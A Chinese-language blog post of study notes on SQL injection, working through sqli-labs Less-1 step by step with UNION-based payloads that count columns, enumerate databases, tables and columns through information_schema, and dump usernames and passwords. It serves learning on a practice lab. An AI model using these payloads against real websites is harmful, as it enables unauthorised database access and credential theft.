sql注入修炼笔记1

小白的sql注入修炼,参考了各位大佬的博客,感谢

less-1

1.找到注入点,发现报错回显。

?id=1'

看到报错语句。

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

用--+或者%23注释后面的内容

发现已经闭合,只要在后面加--+或者#注释掉后面的部分就可以了。
2.猜字段数。

?id=1'order by 3--+

3.使用联合查询。

?id=-1'union select 1,2,3--+

查询后面select查询的信息
4.注入查询基本信息

?id=1'union select 1,2,concat_ws(char(32,58,32),user(),database(),version())--+

得到用户名root@localhost :数据库 security : 版本信息5.5.44-0ubuntu0.14.04.1

这里可以看到是在security数据库里面了,但是我们也可以构造一条语句爆出所有的库。
5.爆库

首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,
用户权限等信息,下面说一下常用的几个表

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

得到数据库

information_schema,challenges,mysql,performance_schema,security

6.爆库security的表

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

ps:table_schema=后面可以直接加单引号括起的数据库名,也可以是数据库的16进制,过滤单引号可用。

得到security数据库的所有表

emails,referers,uagents,users

7.爆users列

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

id,username,password

8.爆数据

?id=-1'union select 1,username,password from users where id=2--+

确定注入点以后首先利用order by来确定列数

?id=1'order by 3--+

爆库名(其实另 一种写法不用)

?id=-1'union select 1,group_concat(schema_name),3 from information_schema.schemata--+

image-20210515224620520

爆表名

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

爆列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

爆记录

?id=-1'union select 1,username,password from users where id=2--+

其他做法

确定该数据库的列数后

?id=-1' union select 1,2,3%23

这种就是先看第几个数是有回显的

发现第2,3个数有回显

然后进行注入

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 %23

这里database是指当前使用的数据库

接着

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3%23
得到users表下的所有列名

?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)%23

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容